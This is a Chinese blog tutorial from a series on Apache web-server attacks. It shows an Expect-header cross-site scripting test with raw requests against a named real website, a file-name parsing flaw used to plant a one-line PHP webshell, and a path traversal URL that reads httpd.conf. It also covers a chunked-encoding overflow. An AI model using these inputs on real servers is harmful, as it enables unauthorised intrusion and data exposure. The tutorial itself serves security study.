zoukankan      html  css  js  c++  java
  • Web安全实践(9)攻击apache

    作者:玄魂

     

    系列导航http://www.cnblogs.com/xuanhun/archive/2008/10/25/1319523.html

    安全技术区http://space.cnblogs.com/group/group_detail.aspx?gid=100566 

    前言

       web安全实践系列主要是对《黑客大曝光——web应用安全机密与解决方案(第二版)》的内容做的实践研究和部分编程实现。所以如果您能完全理解那本书可以跳过本文章。


    这次提供的漏洞都是平时积累来的,但是只有很少的我具体实际过,时间和精力有限,更多的技术上的东西还希望大家提供并讨论。

    正文

    9.1Expect跨站漏洞

    Apache在接收Expect这个HTTP报头会直接输出报头的错误信息,错误信息的内容并没有被转义。这个漏洞本来以为会随着apathe的升级而消失,但是在网上随便找了几个php的服务器,发现很多并没有升级,仍然存在问题。

    对网址http://safesurf.china.cn/data_form.php做了一个简单测试。发送请求为:

    GET /data_form.php HTTP/1.1

    Host: safesurf.china.cn

    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: zh-cn

    Accept-Encoding: gzip,deflate

    Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7

    Keep-Alive: 300

    Connection: keep-alive

    Expect: abcd

    我在最后添加了一个Expect: abcd的请求。得到相应如下:

    HTTP/1.x 417 Expectation Failed

    Date: Wed, 12 Nov 2008 01:46:21 GMT

    Server: Apache/1.3.29 (Unix) PHP/4.3.4

    Keep-Alive: timeout=15, max=100

    Connection: Keep-Alive

    Transfer-Encoding: chunked

    Content-Type: text/html; charset=iso-8859-1

    我们可以看到错误信息中的"Expect:abcd",是我们提交的请求。这时候就该考虑是不是存在跨站的漏洞,继续测试。

    发送请求(注意最后的Expect请求)

    GET /data_form.php HTTP/1.1

    Host: safesurf.china.cn

    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: zh-cn

    Accept-Encoding: gzip,deflate

    Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7

    Keep-Alive: 300

    Connection: keep-alive

    Expect: <script language="javascript">alert('hello')</script>

    得到响应:

    HTTP/1.x 417 Expectation Failed

    Date: Wed, 12 Nov 2008 01:53:34 GMT

    Server: Apache/1.3.29 (Unix) PHP/4.3.4

    Keep-Alive: timeout=15, max=100

    Connection: Keep-Alive

    Transfer-Encoding: chunked

    Content-Type: text/html; charset=iso-8859-1

    证明该服务器是存在跨站漏洞的。对于跨站攻击我们以后会具体涉及,我也不是很清楚把具体的网址暴露出来是否合适?

    9.2php文件名解析漏洞

    以.php开头的文件名或者类似index.php.en,index.php.fr等都可以当做PHP解析。这是一个比较老的漏洞,援引网上的一篇文章做一下解释。

    "MG2是在国外非常流行的一个PHP+HTML的图片管理程序,由于商业版被破解,程序流传甚广,
    在google搜索关键字为"owered by MG2 v0.5.1"
    最新版本存在着文件写入漏洞,可配和Apache漏洞直接得shell

    includes/mg2_functions.php中addcomment()函数如下
    function addcomment() {
    $_REQUEST['filename'] = $this->charfix($_REQUEST['filename']);
    $_REQUEST['input'] = $this->charfix($_REQUEST['input']);
    $_REQUEST['email'] = $this->charfix($_REQUEST['email']);
    $_REQUEST['name'] = $this->charfix($_REQUEST['name']);
    $_REQUEST['input'] = strip_tags($_REQUEST['input'], "");
    $_REQUEST['input'] = str_replace("\n","",$_REQUEST['input']);
    $_REQUEST['input'] = str_replace("\r","",$_REQUEST['input']);
    if ($_REQUEST['input'] != "" && $_REQUEST['name'] != "" && $_REQUEST['email'] != "") {
    $this->readcomments("pictures/" . $_REQUEST['filename'] . ".comment");
    $comment_exists = $this->select($_REQUEST['input'],$this->comments,3,1,0);
    $comment_exists = $this->select($_REQUEST['name'],$comment_exists,1,1,0);
    $comment_exists = $this->select($_REQUEST['email'],$comment_exists,2,1,0);
    if (count($comment_exists) == 0) {
    $this->comments[] = array(time(), $_REQUEST['name'], $_REQUEST['email'], $_REQUEST['input']);
    $this->writecomments($_REQUEST['filename'] . ".comment");
    ........

    漏洞很明显,可以自定义comment的文件名,如果你自定义的filename为".php",那么程序就会在
    图片根目录下生成一个".php.comment"的文件,由于Apache的漏洞,该程序被当做php文件解析,webshell就到手了,
    写了个利用程序如下:

    提交后就会在图片根目录下生成一个含一句话木马的文件".php.comment"
    [url=http://localhost/mg2/pictures/.php.comment?cmd=phpinfo]http://localhost/mg2/pictures/.php.comment?cmd=phpinfo[/url]();"

    9.3分块(chunked)编码远程溢出漏洞    

    这是在02年左右出现的一个漏洞,但是现在看来该漏洞仍然存在并危害着很多网站。

    Apache在处理以分块(chunked)方式传输数据的HTTP请求时存在设计漏洞,远程攻击者可能利用此漏洞在某些Apache服务器上以Web服务器进程的权限执行任意指令或进行拒绝服务攻击。
    分块编码(chunked encoding)传输方式是HTTP 1.1协议中定义的Web用户向服务器提交数据的一种方法,当服务器收到 chunked编码方式的数据时会分配一个缓冲区存放之,如果提交的数据大小未知,客户端会以一个协商好的分块大小向服务器提交数据。
    Apache服务器缺省也提供了对分块编码(chunked encoding)支持。Apache使用了一个有符号变量储存分块长度,同时分配 了一个固定大小的堆栈缓冲区来储存分块数据。出于安全考虑,在将分块数据拷贝到缓冲区之前,Apache会对分块长度进行检查,如果分块长度大于缓冲区长 度,Apache将最多只拷贝缓冲区长度的数据,否则,则根据分块长度进行数据拷贝。然而在进行上述检查时,没有将分块长度转换为无符号型进行比较,因 此,如果攻击者将分块长度设置成一个负值,就会绕过上述安全检查,Apache会将一个超长(至少>0x80000000字节)的分块数据拷贝到缓 冲区中,这会造成一个缓冲区溢出。
    对于Apache 2.0到2.0.36(含2.0.36),尽管存在同样的问题代码,但它会检测错误出现的条件并使子进程退出。
    根据不同因素,包括受影响系统支持的线程模式的影响,本漏洞可导致各种操作系统下运行的Apache Web服务器拒绝服务。

    The Retina Apache Chunked Scanner 是 eEye 公司开发的一款Apache 分块编码缓冲区溢出漏洞扫描软件,可同时扫描254个IP,如果它发现存在漏洞的IP,就会记录下来,系统管理员只要通过双击该IP,就可以获得该漏洞的修补方法.。

    网上还可以找到关于这个漏洞的溢出程序和源代码,在Google中搜索"Apache Exploit",可以得到更多的信息。有了这两样东西,问题就简单多了。

    另外需要说明的是如果我们使用这个扫描程序的时候不选择"show only。。。"那个选项的话,该软件可以告诉我们网段内的所有web服务器类型。

    9.3 Php 3文件外泄漏洞

    发现在使用了 PHP3 脚本的 Apache Web Server 中,存在一个安全漏洞。
    通过 php 发送一个指定的 URL,就能使一个用户获得一个目标机上已知文件的读权限。成功的利用该漏洞,将导致敏感信息的泄露,为进一步的攻击提供了方便。
    例如:(Windows 2000 + Apache 1.3.6 + PHP3)
    提供下列 URL:
    http://taget/index.php3.%5c../..%5cconf/httpd.conf
    你将可以查看 httpd.conf 文件。

    下面这些漏洞本人没做过任何实际操作,所以也无权发表心得,给出参考,希望大家能提供相关的实践经验和资料。

    9.4错误日志转义序列注入漏洞

    详见http://blog.ixpub.net/html/95/13151495-338483.html

    9.5 MIME Boundary远程信息泄露漏洞

    详见http://netsecurity.51cto.com/art/200508/5931.htm

    9.6 ETag头远程信息泄露漏洞

    详见http://netsecurity.51cto.com/art/200508/5931.htm

    9.7 Mod_Auth_Any远程命令执行漏洞

    详见http://www.nsfocus.net/vulndb/4774

    9.8 mod_proxy_http模块中间响应拒绝服务漏洞

    详见http://secunia.com/advisories/30621/


    作者:玄魂
    出处:http://www.cnblogs.com/xuanhun/
    原文链接:http://www.cnblogs.com/xuanhun/ 更多内容,请访问我的个人站点 对编程,安全感兴趣的,加qq群:hacking-1群:303242737,hacking-2群:147098303,nw.js,electron交流群 313717550。
    本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。
    关注我:关注玄魂的微信公众号

  • 相关阅读:
    21.扩展
    20.嵌套类型
    19.类型转换
    18.错误处理
    17.可选链
    16.ARC
    15.析构函数
    14.构造函数
    13.继承
    12.下标
  • 原文地址:https://www.cnblogs.com/xuanhun/p/1331945.html
Copyright © 2011-2022 走看看